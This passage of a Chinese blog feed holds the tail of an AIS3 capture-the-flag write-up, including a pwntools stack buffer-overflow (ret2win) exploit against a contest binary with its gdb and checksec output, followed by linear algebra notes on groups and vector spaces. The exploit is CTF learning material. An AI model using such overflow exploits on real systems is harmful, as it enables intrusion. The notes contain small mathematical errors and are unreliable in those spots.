&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;String #%d doesn&#x27;t exist!\n&quot;</span>, idx);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">idx = <span class="built_in">readidx</span>();</span><br><span class="line"><span class="keyword">if</span> (strs[idx] != <span class="literal">nullptr</span>) &#123;</span><br><span class="line"><span class="keyword">delete</span> strs[idx];</span><br><span class="line">strs[idx] = <span class="literal">nullptr</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;String #%d doesn&#x27;t exist!\n&quot;</span>, idx);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Bad option&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以發現它的輸入限制 4095 位，那輸入 4096 位是否能讓程式 crash 呢?</p><p>構造一個長於 4096 位的字串輸入<code>Create String</code>，接著將它輸出，第一次輸出沒有噴 Error，再次輸出後便 Crash 了，得到 flag。</p><p><img src="https://i.imgur.com/gNmJwvK.jpg"></p><p>FLAG:<code>AIS3&#123;congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?&#125;</code></p><blockquote><p>很抱歉，窩迷有拿到 shell TAT</p></blockquote><h2 id="BOF2WIN-100-baby"><a href="#BOF2WIN-100-baby" class="headerlink" title="BOF2WIN [100] [baby]"></a>BOF2WIN [100] [baby]</h2><div class="note default flat"><p>Exploit the bof !!<br><code>nc chals1.ais3.org 12347</code><br>Author: 🎃</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1MajFqDwi4SDtCCb-bthHUG9Y5voMv4tN/view?usp=sharing">https://drive.google.com/file/d/1MajFqDwi4SDtCCb-bthHUG9Y5voMv4tN/view?usp=sharing</a></p></blockquote><p>這題是非常經典的 buffer overflow 題，先來看看 source code:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;signal.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">get_the_flag</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">char</span> buf[<span class="number">0x30</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="type">int</span> fd = <span class="built_in">open</span>(<span class="string">&quot;/home/bof2win/flag&quot;</span>, O_RDONLY);</span><br><span class="line">    <span class="built_in">read</span>(fd, buf, <span class="number">0x30</span>);</span><br><span class="line">    <span class="built_in">write</span>(<span class="number">1</span>, buf, <span class="number">0x30</span>);</span><br><span class="line">    <span class="built_in">close</span>(fd);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">setvbuf</span>(stdin, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">setvbuf</span>(stdout, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> buf[<span class="number">0x10</span>];</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;What&#x27;s your name?&quot;</span>);</span><br><span class="line">    <span class="built_in">gets</span>(buf);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s!\n&quot;</span>, buf);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以發現<code>gets(buf)</code>的使用部分有漏洞，無法限制是使用者的輸入，所以我們只要蓋掉 buffer 並把 return address 改成<code>get_the_flag</code>的 function address 即可。</p><p>先用<code>checksec</code>確定一下開啟的保護機制:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&gt; checksec bof2win</span><br><span class="line">[*] &#x27;C:\\Users\\Administrator\\Downloads\\bof2win&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure><p>PIE 沒開，表示 function address 不會被 randomize，可以直接使用 function fixed address</p><p>用 gdb 觀察<code>get_the_flag</code>的 function address</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">&gt; gdb bof2win</span><br><span class="line">GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1</span><br><span class="line">Copyright (C) 2018 Free Software Foundation, Inc.</span><br><span class="line">License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;</span><br><span class="line">This is free software: you are free to change and redistribute it.</span><br><span class="line">There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;</span><br><span class="line">and &quot;show warranty&quot; for details.</span><br><span class="line">This GDB was configured as &quot;x86_64-linux-gnu&quot;.</span><br><span class="line">Type &quot;show configuration&quot; for configuration details.</span><br><span class="line">For bug reporting instructions, please see:</span><br><span class="line">&lt;http://www.gnu.org/software/gdb/bugs/&gt;.</span><br><span class="line">Find the GDB manual and other documentation resources online at:</span><br><span class="line">&lt;http://www.gnu.org/software/gdb/documentation/&gt;.</span><br><span class="line">For help, type &quot;help&quot;.</span><br><span class="line">Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...</span><br><span class="line"></span><br><span class="line">pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.</span><br><span class="line">pwndbg: created $rebase, $ida gdb functions (can be used with print/break)</span><br><span class="line">Reading symbols from bof2win...(no debugging symbols found)...done.</span><br><span class="line">pwndbg&gt;</span><br><span class="line">pwndbg&gt; info functions</span><br><span class="line">All defined functions:</span><br><span class="line"></span><br><span class="line">Non-debugging symbols:</span><br><span class="line">0x0000000000401000  _init</span><br><span class="line">0x00000000004010b0  puts@plt</span><br><span class="line">0x00000000004010c0  write@plt</span><br><span class="line">0x00000000004010d0  printf@plt</span><br><span class="line">0x00000000004010e0  close@plt</span><br><span class="line">0x00000000004010f0  read@plt</span><br><span class="line">0x0000000000401100  gets@plt</span><br><span class="line">0x0000000000401110  setvbuf@plt</span><br><span class="line">0x0000000000401120  open@plt</span><br><span class="line">0x0000000000401130  _start</span><br><span class="line">0x0000000000401160  _dl_relocate_static_pie</span><br><span class="line">0x0000000000401170  deregister_tm_clones</span><br><span class="line">0x00000000004011a0  register_tm_clones</span><br><span class="line">0x00000000004011e0  __do_global_dtors_aux</span><br><span class="line">0x0000000000401210  frame_dummy</span><br><span class="line">0x0000000000401216  get_the_flag</span><br><span class="line">0x00000000004012a4  main</span><br><span class="line">0x0000000000401330  __libc_csu_init</span><br><span class="line">0x00000000004013a0  __libc_csu_fini</span><br><span class="line">0x00000000004013a8  _fini</span><br></pre></td></tr></table></figure><p>可以得到 function address <code>0x401216</code></p><p>再用 gdb 觀察 buf 跟 ret 的 address</p><p><img src="https://i.imgur.com/0UQC1kM.jpg"></p><p>buf address:<code>0x7fffffffdee0</code></p><p><img src="https://i.imgur.com/e95WpnI.jpg"></p><p>ret address:<code>0x7fffffffdef8</code></p><p>所以要蓋掉<code>0x7fffffffdef8-0x7fffffffdee0=24</code>個字元<br>寫個 exploit 即可拿到 flag。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r=remote(<span class="string">&#x27;chals1.ais3.org&#x27;</span>,<span class="number">12347</span>)</span><br><span class="line"></span><br><span class="line">r.recvline()</span><br><span class="line">r.sendline(<span class="string">b&#x27;A&#x27;</span>*(<span class="number">24</span>)+p64(<span class="number">0x401216</span>))</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br><span class="line"><span class="comment">#AIS3&#123;Re@1_B0F_m4st3r!!&#125;</span></span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;Re@1_B0F_m4st3r!!&#125;</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今年是我第二年參加 AIS3 的 Pre-Exam，有了去年的經驗今年打起來相對順手不少，但還是希望能夠繼續進步～去年很多解不出來或解很久的類別今年也打得相對比較好，希望之後能夠拿到更好的名次!(今年因為高三要考試ㄌ QQ 沒有花太多時間打，明年要繼續精進!)&lt;/p&gt;
&lt;p</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="AIS3" scheme="http://blog.albert-web.tw/tags/AIS3/"/>
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Linear Algebra III-Group</title>
    <link href="http://blog.albert-web.tw/2022/02/01/linear-algebra-3/"/>
    <id>http://blog.albert-web.tw/2022/02/01/linear-algebra-3/</id>
    <published>2022-02-01T10:02:45.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>今天是虎年的大年初一!祝大家虎年行大運 🐯!但不免俗地還是要來發一篇線性代數的筆記囉~這篇筆記會延續上一篇筆記的代數結構開始進行介紹，首先介紹的是體(Group)這個結構，這個結構是環(Ring)底下的一個子結構(P.S.上一篇有介紹唷!)，一起來看看要如何操作它吧!</p><div class="note success flat"><p>本篇筆記由我與國立嘉義高中數資班黃佑得共同持有!</p></div><p>$(S,*)\implies$群<br>(1) 封 $\implies$ 群<br>(2) 結 $\implies$ 半群<br>(3) 單 $\implies$ 么半群<br>(4) 反 $\implies$ 群<br>(5) 交 $\implies$ 交換群</p><p>考慮$(G,*)$$($如$(\mathbb{Z},+))$</p><ul><li><p>(i)封閉性: $a*b\in G, \forall a,b\in G$，<strong>最重要的性質</strong>。</p></li><li><p>(ii)結合律: $(a*b)*c=a*(b*c),\forall a,b,c \in G$</p><p>—semi group $\uparrow$—</p></li><li><p>(iii)單位元素:$\exists !e\in G s.t. e*a=a*e=a, \forall a\in G$</p><p>—monoid $\uparrow$—</p></li><li><p>(iv) 反元素: $\exists !a^{-1}\in G$ $s.t.$ $a^{-1}*a=a*a^{-1}=1,\forall a \in G$</p><p>—group $\uparrow$—</p></li><li><p>(v)交換律: $a*b=b*a, \forall a,b \in G$</p><p>—abelian group $\uparrow$—</p></li></ul><hr><h1 id="Practical-Drill"><a href="#Practical-Drill" class="headerlink" title="Practical Drill"></a>Practical Drill</h1><p>e.g. 判斷下列是否屬於群(Group)<br>(1) $(\mathbb{N},+)\implies \times$ (2) $(\mathbb{Z},+)\implies \circ$</p><p>(3) $(\mathbb{Z},-)\implies \times$ (4) $(\mathbb{Z},\cdot) \implies \times$</p><p>(5) $(\mathbb{Q},+)\implies \circ$ (6) $(\mathbb{Q},\cdot)\implies \times$</p><p>(7) $(\mathbb{Q}$ \ ${0},\cdot) \implies \circ$ (8) $(\mathbb{Q}^c,+)\implies \times$</p><p>(9) $(\mathbb{Q}^c,\cdot)\implies \times$ (10) $(\mathbb{R}^2,+)\implies \circ$</p><p>(11) $(\mathbb{R}^2,\cdot) \implies \times$ (12) $(\mathbb{R}^3,\times)\implies \times$</p><p>(13) $(M_2(\mathbb{R}),+)\implies \circ$ ($M:$Matrix，方陣) (14) $(M_2(\mathbb{R}),\cdot)\implies \times$</p><p>(15) 令$GL_2(\mathbb{R})=${$A\in M_2(R)|det(A)\neq 0$}$\implies(GL_2(R),\cdot)\implies \circ$ <strong>(不可交換，無限群)</strong><br>($GL:$可逆矩陣(General Linear Group，一般線性群))</p><p>(16) $R=2$階旋轉矩陣$\Rightarrow (R,\cdot)\implies \circ$</p><p>(17) 定義 $P_2(\mathbb{R})=${$a_2x^2+a_1x+a_0 | a_i \in \mathbb{R}, \forall i=0,1,2$}$\implies \circ$</p><p>(18) 定義$S_n=${$f:${$1\sim n$}$\to ${$1\sim n$}$|f$ $is$ $1-1,onto$}$\implies (S_n,\circ)\implies \circ$ <strong>(不可交換，有限群)(可證明五次方程式無公式解，A5)</strong><br>e.g.<br>$S_2=${$\left(\begin{matrix}1 &amp; 2 \\1 &amp; 2 \\\end{matrix}\right)=e,\left(\begin{matrix}2 &amp; 1 \\1 &amp; 2 \\\end{matrix}\right)=\left(\begin{matrix}1 &amp; 2\end{matrix}\right)$}</p><p>$(f_2 \cdot f_2)(1)=1$、$(f_2 \cdot f_2)(2)=2$</p><p>$S_3=${$\left(\begin{matrix}1 &amp; 2 &amp; 3\\1 &amp; 2 &amp; 3 \\\end{matrix}\right)=e,\left(\begin{matrix}1 &amp; 2 &amp; 3\\1 &amp; 3 &amp; 2 \\\end{matrix}\right)=(2\ \ 3),(1\ \ 2),(1\ \ 3),(1\ \ 2\ \ 3),(1\ \ 3\ \ 2)$}</p><p>$(123)\circ(12)${$123$}$=${$321$}、$(12)\circ(123)${$123$}$=${$132$}</p><div class="note danger flat"><p>$Thm1.$ 任何有限群都是$S_n$的一個子群 $for\ some\ n\ \in<br>\mathbb{N}$<br>$Thm2.$ $S_n$ is non-ab, $\forall n &gt;= 3$</p></div><div class="note success flat"><p>Exercise:<br>$Q1:$<br>$(S_4,\circ)=?$<br>$Q2:$<br>比較 $Z_6$ {$0,1,2,…,5$} 和 $S_3$ {$e,(12),(23)…$}，是否存在一一對應的關係。</p></div><p>(19) 定義$\mathbb{Z}_n=${$0,1,2…n-1$}為 $mod\ n$ 的餘數 $\Rightarrow$ $(\mathbb{Z}_n,+) \implies\ \circ$</p><p>(20) $(\mathbb{Z}_n,\cdot)$ $\implies$ $\times$<br>e.g. $n=6$</p><p>$\mathbb{Z}6:$</p><table><thead><tr><th align="center"></th><th align="center">$\bar{0}$</th><th align="center">$\bar{1}$</th><th align="center">$\bar{2}$</th><th align="center">$\bar{3}$</th><th align="center">$\bar{4}$</th><th align="center">$\bar{5}$</th></tr></thead><tbody><tr><td align="center">$\bar{0}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{0}$</td></tr><tr><td align="center">$\bar{1}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{1}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{5}$</td></tr><tr><td align="center">$\bar{2}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{4}$</td></tr><tr><td align="center">$\bar{3}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{3}$</td></tr><tr><td align="center">$\bar{4}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{2}$</td></tr><tr><td align="center">$\bar{5}$</td><td align="center">$\bar{0}$</td><td align="center">$\bar{5}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{1}$</td></tr></tbody></table><p>(21) $(\mathbb{Z}_p,\cdot)\implies \times$</p><p>(22) $(\mathbb{Z}_p-{0},\cdot) \implies \circ$ $(ab. group)$(交換群)</p><p>$\mathbb{Z}5:$</p><table><thead><tr><th align="center"></th><th align="center">$\bar{1}$</th><th align="center">$\bar{2}$</th><th align="center">$\bar{3}$</th><th align="center">$\bar{4}$</th></tr></thead><tbody><tr><td align="center">$\bar{1}$</td><td align="center">$\bar{1}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{4}$</td></tr><tr><td align="center">$\bar{2}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{1}$</td><td align="center">$\bar{3}$</td></tr><tr><td align="center">$\bar{3}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{1}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{2}$</td></tr><tr><td align="center">$\bar{4}$</td><td align="center">$\bar{4}$</td><td align="center">$\bar{3}$</td><td align="center">$\bar{2}$</td><td align="center">$\bar{1}$</td></tr></tbody></table>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今天是虎年的大年初一!祝大家虎年行大運 🐯!但不免俗地還是要來發一篇線性代數的筆記囉~這篇筆記會延續上一篇筆記的代數結構開始進行介紹，首先介紹的是體(Group)這個結構，這個結構是環(Ring)底下的一個子結構(P.S.上一篇有介紹唷!)，一起來看看要如何操作它吧!&lt;/</summary>
      
    
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/categories/Mathematics/"/>
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
    <category term="Linear Algebra" scheme="http://blog.albert-web.tw/tags/Linear-Algebra/"/>
    
    <category term="College" scheme="http://blog.albert-web.tw/tags/College/"/>
    
  </entry>
  
  <entry>
    <title>Linear Algebra II-Linear Algebra</title>
    <link href="http://blog.albert-web.tw/2022/01/31/linear-algebra-2/"/>
    <id>http://blog.albert-web.tw/2022/01/31/linear-algebra-2/</id>
    <published>2022-01-31T14:02:44.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>這篇筆記會開始介紹線性代數的基本性質與定義操作，是線性代數的重要基礎，也可以推演出日後筆記的一些重要觀念，尤其是八大基本性質的部分一定要好好熟悉喔!一起來看看吧~</p><div class="note success flat"><p>本篇筆記由我與國立嘉義高中數資班黃佑得共同持有!</p></div><h1 id="Definition"><a href="#Definition" class="headerlink" title="Definition"></a>Definition</h1><p>若$V$是一個向量空間、$F \in \mathbb{R}$<br>若$x,y \in V \Longrightarrow x+y \in V$<br>若$c \in F$, $x \in V \Longrightarrow c \cdot x \in V$<br>且滿足</p><div class="note warning flat"><ol><li>$(x+y)+z=x+(y+z), \forall x,y,z \in V$</li><li>$\exists !$ $0 \in V s.t. 0+x=x,  \forall x \in V$</li><li>$\exists !$ $-x \in V s.t. x+(-x)=0, \forall x \in V$</li><li>$x+y=y+x, \forall x,y \in V$</li><li>$(ab)x=a(bx), \forall a,b \in F, x \in V$</li><li>$\exists !$ $1 \in F s.t. 1 \cdot x = x, \forall x \in V$</li><li>$(a+b)x=ax+bx,\forall a,b \in F,x \in V$</li><li>$a(x+y)=ax+by,\forall a \in F, x,y \in V$</li></ol></div><p>   等八大基本定義，則形成線性代數結構(Linear Algebra)</p><h1 id="代數結構-Linear-Algebra"><a href="#代數結構-Linear-Algebra" class="headerlink" title="代數結構(Linear Algebra)"></a>代數結構(Linear Algebra)</h1><ul><li>具有線性性質的代數結構</li></ul><h2 id="線性性質"><a href="#線性性質" class="headerlink" title="線性性質"></a>線性性質</h2><p><img src="https://i.imgur.com/Jk9wuWg.png"></p><p><strong>函數</strong> $\rightarrow$ $f(x+y)=f(x)+f(y)、f(c \cdot x)=c \cdot f(x)$</p><ul><li>$f(x)=mx ,\forall m\in \mathbb{R}$，是線性</li><li>$f(x)=x^2$，非線性</li><li>$f(x)=mx+b,\forall m,b\in \mathbb{R}$，非線性</li><li>期望值: $E(ax+by)=aE(x)+bE(y),\forall a,b\in \mathbb{R}$，是線性</li><li>標準差: $\sigma(ax+b)=|a|\sigma(x),\forall a,b\in \mathbb{R}$，非線性</li><li>$d(微分算子): f(x),g(x)$為 $x$ 的方程式 $\Rightarrow d(f+g)=d(f)+d(g)，d(cf)=c\cdot d(f),\forall c\in \mathbb{R}$，是線性</li><li>$\int(積分算子):f(x),g(x)$為 $x$ 的方程式$\Rightarrow \int(f+g)=\int (f)+\int(g),\int  (f)=c\int (f),\forall c\in \mathbb{R}$，是線性</li><li>$\sum\limits(a_k+b_k)=\sum\limits a_k + \sum\limits b_k，\sum\limits ca_k = c\sum\limits a_k$，是線性</li><li>驗證是否為線性函數: $f(x_1+x_2)=f(x_1)+f(x_2)$ 是否成立?</li></ul><p><strong>集合</strong> $\rightarrow$ $a,b \in \mathbb{S} \implies a+b \in \mathbb{S}、a \in \mathbb{S}, c \in \mathbb{F} \implies c \cdot a \in \mathbb{S}$</p><ul><li>$(\mathbb{Z},+),(\mathbb{Q},+),(\mathbb{R},+),(\mathbb{C},+)$</li><li>$P_n(\mathbb{R})={$次數小於等於 n 次的多項式$}$</li><li>$\mathbb{R}^2(平面向量)、\mathbb{R}^3(空間向量)…\mathbb{R}^n$</li><li>方陣$M_n(\mathbb{R})$、矩陣$M_{m\times n}(\mathbb{R})$</li></ul><h2 id="Algebraic-Structure"><a href="#Algebraic-Structure" class="headerlink" title="Algebraic Structure"></a>Algebraic Structure</h2><p><img src="https://i.imgur.com/RHdZHxv.png"></p><ul><li>群 1 運算(次數)</li><li>模 1.5 運算(次數)</li><li>環 2 運算(次數) $(\mathbb{Z},+,\cdot)$</li><li>向量空間 $(\mathbb{R}^2,+,\cdot)$，這裡的 $\cdot$ 是指係數積</li><li>體 $(\mathbb{Q},+,\cdot)$</li></ul><p>Definition: 令$\mathbb{S}=$ 集合，$*=$ 運算 $\implies$ 能滿足特定規則的$(\mathbb{S},*)$稱為一個代數結構<br>e.g. 群環體模 v.s. lattice(格 in 化學),maniford(流形)</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這篇筆記會開始介紹線性代數的基本性質與定義操作，是線性代數的重要基礎，也可以推演出日後筆記的一些重要觀念，尤其是八大基本性質的部分一定要好好熟悉喔!一起來看看吧~&lt;/p&gt;
&lt;div class=&quot;note success flat&quot;&gt;&lt;p&gt;本篇筆記由我與國立嘉義高中數資班黃</summary>
      
    
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/categories/Mathematics/"/>
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
    <category term="Linear Algebra" scheme="http://blog.albert-web.tw/tags/Linear-Algebra/"/>
    
    <category term="College" scheme="http://blog.albert-web.tw/tags/College/"/>
    
  </entry>
  
  <entry>
    <title>Linear Algebra I-Preface and Prior Knowledge</title>
    <link href="http://blog.albert-web.tw/2022/01/25/linear-algebra-1/"/>
    <id>http://blog.albert-web.tw/2022/01/25/linear-algebra-1/</id>
    <published>2022-01-25T09:24:04.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>這篇筆記主要整理國立嘉義高中蔡東霖老師上課時所補充的線性代數課程內容，內容會提及包括空間向量、體等重要的線性代數結構與基礎，並在部分內容中以高中課程內容作為舉例以及進行相對應的延伸。一起來看看大學等級的數學課程究竟是怎麼一回事吧~</p><div class="note success flat"><p>本篇筆記由我與國立嘉義高中數資班黃佑得共同持有!</p></div><h1 id="Introduction-Graph"><a href="#Introduction-Graph" class="headerlink" title="Introduction Graph"></a>Introduction Graph</h1><p><img src="https://i.imgur.com/QTPrVdF.png"></p><h1 id="幾何"><a href="#幾何" class="headerlink" title="幾何"></a>幾何</h1><p><img src="https://i.imgur.com/KxfbzVE.png"></p><ul><li>幾何(形) $Geometry$ $\to$ 解析幾何 $\to$ 拓樸學$(A \equiv R \not\equiv B、Q \equiv P)$、$($ 甜甜圈與咖啡杯$)$</li></ul><h1 id="代數"><a href="#代數" class="headerlink" title="代數"></a>代數</h1><p><img src="https://i.imgur.com/7xfx6Y0.png"></p><ul><li>未知數:一元$n$次方程式與$n$元一次方程式(高斯消去法 $\to$ 齊次解(向量空間)&amp;特定解 or 反矩陣</li><li>$Lie$ $Gruop$ : $E6$ ~ $E8$(宇宙理論)(大一統理論)、$F4$、$G2$</li><li>代數結構: 體$Field$、群$Group$、環$Ring$</li></ul><h1 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h1><p><img src="https://i.imgur.com/1CmzY5g.png"></p><ul><li>芝諾悖論: 阿基米德與烏龜 🐢</li><li>微分方程: 與日常現象相關<ul><li>醫學系:藥量殘留劑量 💊</li><li>工程領域:電機、土木、水利、機械、化學…etc.<br>e.g. 水壩壁與雙曲線</li></ul></li><li>高等微積分: 收斂函數、發散函數、converse、connect、continuous…</li><li>複變數函數論</li><li>實變數函數論 (測度論)</li><li>統計: 大數據$Big$ $Data$、調和分析$Harmonic$ $Analysis$(電機系分析訊號)($wavelet$ $theory$)、財務數學(財務分析師-華爾街)(精算師 e.g.保險業)</li></ul><h1 id="離散數學"><a href="#離散數學" class="headerlink" title="離散數學"></a>離散數學</h1><p><img src="https://i.imgur.com/8v8K6sx.png"></p><ul><li>排列組合: 計數原理</li><li>圖論: 四色定理</li><li>集合: Category(範疇論)</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這篇筆記主要整理國立嘉義高中蔡東霖老師上課時所補充的線性代數課程內容，內容會提及包括空間向量、體等重要的線性代數結構與基礎，並在部分內容中以高中課程內容作為舉例以及進行相對應的延伸。一起來看看大學等級的數學課程究竟是怎麼一回事吧~&lt;/p&gt;
&lt;div class=&quot;note </summary>
      
    
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/categories/Mathematics/"/>
    
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
    <category term="Linear Algebra" scheme="http://blog.albert-web.tw/tags/Linear-Algebra/"/>
    
    <category term="College" scheme="http://blog.albert-web.tw/tags/College/"/>
    
  </entry>
  
  <entry>
    <title>Fibonacci Sequence&#39;s Transformation</title>
    <link href="http://blog.albert-web.tw/2021/08/25/fibonacci-sequence-trans/"/>
    <id>http://blog.albert-web.tw/2021/08/25/fibonacci-sequence-trans/</id>
    <published>2021-08-25T14:35:31.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
